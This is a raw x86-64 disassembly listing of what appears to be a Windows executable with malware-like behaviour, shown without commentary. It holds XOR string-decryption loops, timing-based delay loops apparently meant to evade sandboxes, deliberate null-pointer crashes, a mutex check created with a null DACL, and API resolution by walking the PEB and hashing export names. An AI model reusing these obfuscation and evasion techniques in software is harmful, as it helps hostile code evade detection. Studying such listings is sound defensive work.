mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x6e
jl 0x1402046c0
mov r8, r11
lea rdx, [rsp + 0x850]
lea rcx, [rsp + 0xb60]
call fcn.140212d60
mov rcx, rax
call fcn.1401c8710
nop
lea rcx, [rsp + 0xba0]
call fcn.140210af0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x5f64], 0xffffffff
mov dword [rsp + 0x4be4], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x4be4], eax
inc rdx
cmp rdx, 0x270
jb 0x140204760
mov dword [rsp + 0x4be0], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1402047af
imul rax, rax, 0x64
jmp 0x1402047ca
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rdi, [rax + 0x5f5e100]
mov qword [rsp + 0x50], rdi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1402047f4
imul rax, rax, 0x64
jmp 0x14020480f
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x1402049f2
mov qword [rsp + 0xa8], 0x186a0
mov edi, 1
nop dword [rax]
lea rcx, [rsp + 0x4be0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020486b
nop dword [rax + rax]
lea rcx, [rsp + 0x4be0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140204850
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, edi
lea rcx, [rsp + 0x4be0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x1402048cb
cmp eax, 0x64
jae 0x1402048cb
nop dword [rax]
lea rcx, [rsp + 0x4be0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402048b0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x4be0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14020492c
cmp eax, 0x64
jae 0x14020492c
lea rcx, [rsp + 0x4be0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140204911
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x4be0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov r8d, ebx
cmp eax, 0xc9
jae 0x14020499e
cmp eax, 0x64
jae 0x14020499e
nop word [rax + rax]
lea rcx, [rsp + 0x4be0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140204980
mov r8d, ebx
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0xa8], rdi
jne 0x140204830
mov rdi, qword [rsp + 0x50]
jmp 0x1402047d6
mov eax, dword [rsp + 0x40]
mov eax, dword [0x140261888]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x14026188c]
mov byte [rsp + 0x78], 0x31
xor byte [rsp + 0x79], 0x4a
xor byte [rsp + 0x7a], 0x4c
xor byte [rsp + 0x7b], 0x4e
xor al, 0x50
mov byte [rsp + 0x7c], al
lea rcx, [rsp + 0x78]
mov rax, r13
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140204a30
lea rcx, [0x140280860]
cmp qword [0x140280878], 0x10
cmovae rcx, qword [0x140280860]
mov r8, qword [0x140280870]
cmp r8, rax
jne 0x140204d31
lea rdx, [rsp + 0x78]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140204d31
mov qword [0], rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x72f4], 0xffffffff
mov dword [rsp + 0x5f74], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x5f74], eax
inc rdx
cmp rdx, 0x270
jb 0x140204aa0
mov dword [rsp + 0x5f70], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140204aef
imul rax, rax, 0x64
jmp 0x140204b0a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r12, [rax + 0x5f5e100]
mov qword [rsp + 0x50], r12
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140204b34
imul rax, rax, 0x64
jmp 0x140204b4f
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r12
jge 0x140204d28
mov r15d, 0x186a0
mov r12d, 1
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x5f70]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x140204bab
nop dword [rax + rax]
lea rcx, [rsp + 0x5f70]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140204b90
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rsp + 0x5f70]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x140204c0b
cmp eax, 0x64
jae 0x140204c0b
nop
lea rcx, [rsp + 0x5f70]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140204bf0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x5f70]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x140204c6e
cmp eax, 0x64
jae 0x140204c6e
lea rcx, [rsp + 0x5f70]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140204c53
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x5f70]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x140204cdb
cmp eax, 0x64
jae 0x140204cdb
nop word [rax + rax]
lea rcx, [rsp + 0x5f70]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140204cc0
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], edx
sub r15, r12
jne 0x140204b70
mov r12, qword [rsp + 0x50]
jmp 0x140204b16
mov eax, dword [rsp + 0x40]
jmp 0x14020b55c
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x8684], 0xffffffff
mov dword [rsp + 0x7304], eax
mov edx, 1
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x7304], eax
inc rdx
cmp rdx, 0x270
jb 0x140204d50
mov dword [rsp + 0x7300], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140204d9f
imul rax, rax, 0x64
jmp 0x140204dba
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rdi, [rax + 0x5f5e100]
mov qword [rsp + 0x50], rdi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140204de4
imul rax, rax, 0x64
jmp 0x140204dff
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x140204fe2
mov qword [rsp + 0xa8], 0x186a0
mov edi, 1
nop dword [rax]
lea rcx, [rsp + 0x7300]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x140204e5b
nop dword [rax + rax]
lea rcx, [rsp + 0x7300]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140204e40
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, edi
lea rcx, [rsp + 0x7300]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x140204ebb
cmp eax, 0x64
jae 0x140204ebb
nop dword [rax]
lea rcx, [rsp + 0x7300]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140204ea0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x7300]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x140204f1c
cmp eax, 0x64
jae 0x140204f1c
lea rcx, [rsp + 0x7300]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140204f01
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x7300]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov r8d, ebx
cmp eax, 0xc9
jae 0x140204f8e
cmp eax, 0x64
jae 0x140204f8e
nop word [rax + rax]
lea rcx, [rsp + 0x7300]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140204f70
mov r8d, ebx
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0xa8], rdi
jne 0x140204e20
mov rdi, qword [rsp + 0x50]
jmp 0x140204dc6
mov eax, dword [rsp + 0x40]
lea rdx, [0x140280590]
cmp qword [0x1402805a8], 0x10
cmovae rdx, qword [0x140280590]
mov r8, qword [0x1402805a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140219120
lea rdx, [0x140212b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x140280878], 0x10
lea rdx, [0x140280860]
cmovae rdx, qword [0x140280860]
mov r8, qword [0x140280870]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140219120
lea rdx, [0x140212b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x140280838], 0x10
lea rdx, [0x140280820]
cmovae rdx, qword [0x140280820]
mov r8, qword [0x140280830]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140219120
lea rdx, [0x140212b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xd18], 0x18
mov dword [rsp + 0xd28], esi
mov edx, 0x28
lea ecx, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov edi, 1
mov edx, edi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov qword [rsp + 0xd20], rbx
movsd xmm0, qword [0x140263bb8]
movsd qword [rsp + 0xd8], xmm0
mov eax, dword [0x140263bc0]
mov dword [rsp + 0xe0], eax
movzx eax, byte [0x140263bc4]
mov byte [rsp + 0xe4], al
mov r8d, esi
mov ebx, dword [0x140275008]
cmp ebx, 2
jl 0x140205310
movdqa xmm7, xmmword [0x140265220]
mov eax, 5
movd xmm8, eax
movdqa xmm9, xmmword [0x140265230]
mov eax, 6
movd xmm10, eax
mov eax, 0x1f
movd xmm12, eax
movdqa xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [0x140265200]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x140263bb8]
pxor xmm3, xmm0
movd dword [rsp + 0xd8], xmm3
movdqa xmm5, xmmword [0x140265160]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xdc]
pxor xmm3, xmm1
movd dword [rsp + 0xdc], xmm3
mov r8d, 8
movsxd rax, r8d
lea r10, [rsp + 0xd8]
add r10, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r9d, eax, 0x39
mov eax, 0xb2b78c13
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r9b
add cl, 0x24
add cl, r8b
add cl, cl
xor byte [r10], cl
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0xd
jl 0x140205320
lea r8, [0x140280590]
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0xc40]
call fcn.140212e90
cmp qword [rax + 0x18], 0x10
jb 0x140205395
mov rax, qword [rax]
mov r8, rax
mov edx, 1
lea rcx, [rsp + 0xd18]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
lea rcx, [rsp + 0xc40]
call fcn.140210af0
movsd xmm0, qword [str._v8___70v]
movsd qword [rsp + 0xc8], xmm0
mov eax, dword [0x1402637a8]
mov dword [rsp + 0xd0], eax
movzx eax, word [0x1402637ac]
mov word [rsp + 0xd4], ax
cmp byte [0x1402637ad], 0
je 0x14020564f
mov r9d, esi
cmp ebx, 2
jl 0x1402055f0
movdqa xmm7, xmmword [0x140265220]
mov eax, 5
movd xmm8, eax
movdqa xmm9, xmmword [0x140265230]
mov eax, 6
movd xmm10, eax
mov eax, 0x1f
movd xmm12, eax
movdqa xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [0x140265200]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str._v8___70v]
pxor xmm3, xmm0
movd dword [rsp + 0xc8], xmm3
movdqa xmm5, xmmword [0x140265160]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xcc]
pxor xmm3, xmm1
movd dword [rsp + 0xcc], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0xc8]
add r10, rax
nop
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140205600
xorps xmm0, xmm0
movups xmmword [rsp + 0x338], xmm0
mov qword [rsp + 0x348], rsi
mov qword [rsp + 0x350], rsi
lea rax, [rsp + 0xc8]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140205675
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x338]
call fcn.1401d4c30
lea rcx, [rsp + 0x338]
call fcn.1401c8710
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14020b763
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x14020b763
mov edx, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdx]
add rdx, r9
mov r8d, 0xa49e8531
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14020b757
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140205720
cmp r8d, 0x3f4f73ab
jne 0x14020b757
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
call rcx
cmp eax, 0xb7
jne 0x140205772
mov qword [0], rsi
jmp 0x14020b55c
movups xmm0, xmmword [0x140263d58]
movups xmmword [rsp + 0x488], xmm0
movups xmm1, xmmword [0x140263d68]
movups xmmword [rsp + 0x498], xmm1
movups xmm0, xmmword [0x140263d78]
movups xmmword [rsp + 0x4a8], xmm0
mov eax, dword [0x140263d88]
mov dword [rsp + 0x4b8], eax
movzx eax, word [0x140263d8c]
mov word [rsp + 0x4bc], ax
mov r9d, esi
cmp dword [0x140275008], 2
jl 0x1402059ef
mov eax, 5
movd xmm7, eax
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x48c]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
